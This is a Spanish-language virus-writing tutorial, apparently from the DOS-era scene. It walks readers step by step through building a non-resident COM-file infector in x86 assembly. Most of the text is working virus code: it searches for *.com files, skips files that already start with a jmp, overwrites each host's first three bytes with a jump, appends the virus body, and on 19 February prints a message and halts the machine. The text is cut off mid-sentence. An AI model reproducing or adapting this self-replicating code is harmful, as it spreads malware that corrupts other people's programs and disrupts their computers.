Empezaremos por contaminar archivos com, ¿que qué diferencia hay
entre archivos com y exe? pues fácil, si os habéis fijado los archivos
com ocupan como máximo 65 kbytes y pico. ¿qué porque es así? , pues porque
los com se cargan en un único segmento de memoria. Y no me vengáis
diciendo que el command.com del windows 95 tiene más porque aunque tiene
extensión com es un archivo exe (es un exe camuflado je,je,je ;) )
Los exe's utilizan un cabezera con información acerca del tamaño del
archivo,la posición inicial para empezar a ejecutar el file la posición
del stack y demás choradas necesárias para cargarlo en varios segmentos
de memoria.El inicio de dicha cabecera es MZ ¿que porque esa marca?
,yo que sé ,yo no creé la estructura de los exe's, de alguna manera los
tenían que marcar.
     Bueno la verdad es que lo que realmente diferencia un
exe de un com es esa marca , la extensión simplemente sirve para que
el DOS sepa que ejecutar primero com->exe->bat.
El virus que vamos a hacer no será  residente  por lo que
es  bastante sencillo .Contamina  en un único directorio
por lo que además de ser sencillo tendrá una infección practicamente
patética. Pero bueno es pa ke entendáis el rollo este de los com.
La contaminación de los com's se puede hacer añadiendo el código del
virus al principio del hoste(programa infectado) pero no es recomendable
por cuestiones de rapidez, por lo que lo bonito es quitar los 3 primeros
bytes del archivo (guardarlos en el código del virus) poner en su lugar
un jmp virus (es decir un salto incodicional al código del virus, que 
lo añadimos al final del hoste).Cuando acaba la ejecución del virus los
3 bytes que habías guardado los restauramos al principio del virus y
le pasamos el control al hoste. Facil noooo???

          -----------------
          | jmp    virus  |    
          -----------------
          | codigo del    |  
          | hoste         |  
          -----------------
          | virus:        |
          | contamina     |
          | recupera los  |
          | 3 bytes       |
          | originales y  |
          | jmp hoste     |
          -----------------

   Ahora que sabemos la teoría , tenemos que buscar una manera
  de marcar  los archivos para no volverlos a contaminar infinitas veces.
   Como vamos a tener que poner un jmp al principio del hoste , pues
   este propio jmp funcioná  de marca de infección. El virus infectará 
   a los archivos que no empiecen con un jmp.El código del jmp ocupa 
   1 byte y la dirección a saltar con un byte ocupa 2 bytes
   1 byte del jmp + 2 bytes dirección = 3 bytes (lo que pillamos del hoste)

   Otra cosa. Al programar un virus lo que se hace normalmente es crear
   un archivo contaminado, en este caso nuestro hoste contaminado
   contendrá un jmp start (salto al principio del virus) y la int 20h
   para regresar al dos.


longitud        equ     fin-start    

code            segment 'code'
                assume  cs:code,ds:code,es:code
                org     100h                    ;empiezo en 100 ya que es un com
hoste:          jmp     start                   ;esto es un hoste simulado
                int     20h                     ;con esto salgo al DOS
start:          push    bp
                call    alli                    ; busco la ip de inicio 
alli:           pop     bp                      ; para que la variables no
                sub     bp,offset alli          ; aparezcan corridas :-)


       Con esto lo que hacemos es definir la constante longitud como
       la diferencia entre dos etiquetas que hemos puesto al principio y al
       final del virus(obviamente) con lo que el linkador nos traducirá 
       longitud como el tamaño del virus.
       El org 100h es para que el programa se carge en el offset 100h,
       los com's siempre se cargan en el offset 100h ya que tienen que dejar
       100h bytes para que el DOS guarde información sobre el programa
       esos 100h bytes forman lo que se llama el PSP.
       En el hoste meto un jmp start con lo que este archivo estará ya
       marcado como infectado.
       Ahora viene lo gracioso, que coño hace ese call ahí.Bueno ¿por qué
       un call? ¿acaso los call no són para llamar a procedimientos?
       ¿y el procedimiento?¿no veo ninguno?¿y la famosa instrucción ret
       para regresar del procedimiento tampoco la veo?
       Respuesta:
          No es una llamada a un procedimiento. Es simplemente una pirula
       para que se puedan direccionar las variables. ¿quéeee?. Si bueno
       no sé si si os habéis dado cuenta que el virus se añade al final
       del hoste con lo que en cada hoste las variables se encontrarán
       en diferente offset (el offset es una dirección dentro de un
       segmento , y un segmento es un bloque de memoria de 65536 bytes)
       Las referencias a variables ( como mov ax,variable)
       el linkador las traduce a un numero (mov ax,056f2h  por ejemplo)
       Por esto es por lo que hay que inventarse una pirula para hallar 
       el verdadero offset de las variables( en busca del offset perdido).
       Ahora bien que os parece si sumamos a cada referencia a variable
       el incremento del tamaño del hoste respecto al hoste ficticio que hemos
       creado,que lo  podríamos tener almacenado en un registro como el bp
       (que no es muy usado). Ahora las referencias a variables quedarían así:
         mov ax,bp+variable  ;)
       No está  mal el invento pero ¿cómo coño hallamos ese incremento
       que sufre  el offset?.Ahora es cuando utilizamos las maravillosas
       cualidades del comando call.El comando call no sólo salta al comienzo
       del procedimiento sinó que apila la dirección de regreso para que
       luego utilizando la instrucción ret se pueda regresar a la posición
       desde la que fué llamada.Pero bueno, que preciosidad de comando
       ,pues yo ahora hago un call findoffset y en vez de enviar el control
       a un procedimiento utilizo el comando pop para desapilar la dirección
       apilada con el call. Pero la cosa no se queda ahí, ahora le resto
       a esa direccion (almacenada en bp)  el offset de la etiqueta findoffset
       ahora acabamos de obtener el desplazamiento que sufriran las variables.

       NOTA:Las intrucciónes offset algo el linkador las traduce por un 
            número por lo que en cada archivo infectado 'offset findoffset'
            siempre será  el mismo número.
            el offset de la etiqueta findoffset del archivo que vamos a crear.

       Si te fijas en el archivo que vamos a obtener el bp tomará  el valor 0
       esto es correcto ya que en el archivo original no se produce ningun
       desplazamiento,respecto a su propio tamaño ; ).

                push    cs
                push    cs
                pop     ds
                pop     es
                push    ax                     
                push    bx                     
                push    cx                     ;  APILO LOS REGISTROS
                push    dx                   
                push    di                     
                push    si                     

    Con esto ds y es se quedan con el valor de cs ya que trabajamos
    en un único segmento. Además apilo los registros para que no
    se modifique su valor.

    Ahora viene un punto muy importante en este virus es recuperar
    los 3 bytes originales.Esto lo hacemos antes de la contaminación
    ya que la variable cab_ORIG la sobreescribiremos en el proceso
    de infección.

               cld
               mov    cx,3d              ;en cx el numero de bytes a mover
               mov    di,100h            ;muevo de ds:si ->es:di
               lea    si,bp+cab_ORIG     ;es decir de la variable cab_ORIG a 100h
               rep    movsb

    Ten en cuenta que sobreescribo estos 3 bytes en memoria el 
    archivo contaminado siempre tendra tu jmp START.

  ************* Quien quiera pasar de esto que lo haga *******
    ************* es la activación del virus                               *******

    Se activa el 19 de Febrero mi Cumpleaños (que original).

                mov  ah, 02h
                int  21h
                cmp  dh, 2d           ;compruebo si el mes es 2
                jne  noactivo
                cmp  dl, 19d          ;compruebo si el dia es 19
                jne  noactivo

                mov  ax,0900h       ;aparece el mensaje en pantalla
                lea  dx,bp+mensaje  ;si es 19 del 2 sino se salta a noactivo
                int  21h

                hlt           ;cuelgo el ordenata

noactivo:

    ************* Final de la activaci¢n  *************************

       
                mov     ah,4eh                  ; 
                lea     dx,bp+file_cont         ;
                mov     cx,00000000b            ;     BUSQUEDA DEL ARCHIVO
                int     21h                     ;

    con esto busco archivos que cumplan que tienen extensión com
    *.com . en ds:dx esta la dirección de la cadena '*.com'
    en ah la llamada a la función de busqueda y en cx los atributos.
    Es recomendable trabajar con una buena lista de interrupciones
    yo recomiendo personalmente la lista de Ralf Brown yo diría que
    sin duda es la mejor .
     Si la han quitado la podréis conseguir de la página de Cicatrix.
    Ojo a que  ponemos bp+file_cont en vez de file_cont a secas.

otro:           mov    ah,4fh
                int    21h
                jb     salir            ;salto si no quedan más archivos
                                        ;con extensión com

                mov     ax, 3d00h       ;abro el archivo para lectura
                mov     dx, 009eh
                int     21h          
                mov     bx,ax            ;guardo el handel


     Al encontrar un archivo con extensión com lo abro para ver si está
     contaminado.
     Ten en cuenta que la información obtenida con la funcion 4fh de la
     interrupción 21 (busqueda de archivo) se guarda en el DTA(disk
     transfer area) que forma parte del PSP (que son los 100 bytes iniciales
     del segmento donde se ejecuta el com).
     El DTA empieza en el offset 80h y tiene la siguiente estructura:

          offset      Bytes ocupados   Funci¢n
          00h         21d              Usado por el dos para la función
                                       4f (buscar proximo)                                         
          15h         01d              Atributos del file encontrado
          16h         02d              Hora del archivo
          18h         02d              Fecha del file
          1Ah         04d              Tamaño del archivo en bytes
          1Eh         13d              Nombre del archivo

    Ahora que sabemos esto para abrir un archivo encontrado con las funciones
    4Eh y 4Fh sólo tenemos que poner en dx la dirección del campo Nombre de
    Archivo del DTA. Esta se encuentra en el offset 1Eh del DTA pero como el
    DTA se encuentra en el offset 80h, la dirección real
    será 80h+1Eh= 9Eh.

                mov     ax,4200h        ;muevo el puntero  al principio
                mov     cx,0000h
                mov     dx,0000h
                int     21h
                
                mov     cx,3h                         ;longitud a copiar 
                lea     dx,[bp+cab_Orig]              ;direccion donde se copiara
                mov     ah,3fh                        ;funcion de lectura
                int     21h

       En la variable cab_ORIG los 3 primeros byte del archivo . Esto
       es para comprobar si está  infectado y si lo está  de paso ya tengo
       los 3 bytes para poder recuperarlos luego.(ten en cuenta que a estas
       alturas ya hemos recuperado en memoria los 3 bytes originales del
       file).


                mov     ah ,3eh                       ;cierro el archivo
                int     21h
                
                cmp     byte ptr [bp+cab_ORIG],0E9h        ;si empieza con un jmp 
                je      otro                          ;no lo contamina y busca otro


       Cierro el archivo y compruebo si el byte almacenado en cab_ORIG es
       igual a 0E9h que es el código de la intrucción jmp.
       Si es igual probablemente esté contaminado por lo que buscamos otro

                mov     ax, 3d02h                     ;abro el archivo para r/w
                mov     dx, 009eh
                int     21h
                mov     word ptr ds:[bp+handel],ax ;guardo en handel en la variable
                mov     bx,ax           ; guardo en bx el handle del archivo
             
      Fijate bien que todas las referencias a variables se realizan sumando
      bp.
                mov     cx, 2h
                mov     si,009Ah
                lea     di,[bp+cabecera+1]
                rep     movsb

     Ahora hallamos el tamaño del archivo , lo leemos del DTA como ya hicimos
     con el nombre del archivo

                sub     word ptr [bp+cabecera+1],3 
                                                 
      Ahora resto al tamaño del archivo lo que ocupa el tamaño del jmp (3 bytes)
      ya que el salto comienza realmente desde la siguiente instrucción.

                mov     ax,4200h        ;muevo el puntero  al principio
                mov     cx,0000h
                mov     dx,0000h
                int     21h
                
                mov     ah,40h           ;escribo los nuevos 3 bytes
                mov     cx,3h            ;que tendrá el archivo
                lea     dx,bp+cabacera
                int     21h              

      Que conste que la variable cabecera la ten¡a preparada con un E9h
      en el primer bytes(jmp) mirar la definición de variables del final
      Por ello lo único que he tenido que hacer es completarla metiendo
      la dirección hallada.
                                                       
                mov    ax,4202h          ;muevo el puntero al final
                mov    cx,0000h          
                mov    dx,0000h
                int    21h

                mov    ah,40h
                mov    cx,longitud         ;en cx el número de bytes a copiar
                lea    dx,bp+start         ;pues la longitud del archivo
                int    21h                 ;que va a ser

                mov     ah ,3eh            ;cierro el archivo
                int     21h

     Completamos la infección cerrando el archivo

salir:          pop     si                     ;
                pop     di                     ;
                pop     dx                     ;  DESAPILO LOS REGISTROS
                pop     cx                     ;
                pop     bx                     ;
                pop     ax                     ;
                pop     bp                     ;

                mov     ax,100h                       ;FELICIDADES YA HAS CONTAMINADO OTRO ARCHIVO
                jmp     ax
                                                       

           Para salir desapilamos los registros guardados
           y con un simple jmp al offset 100h el hoste emp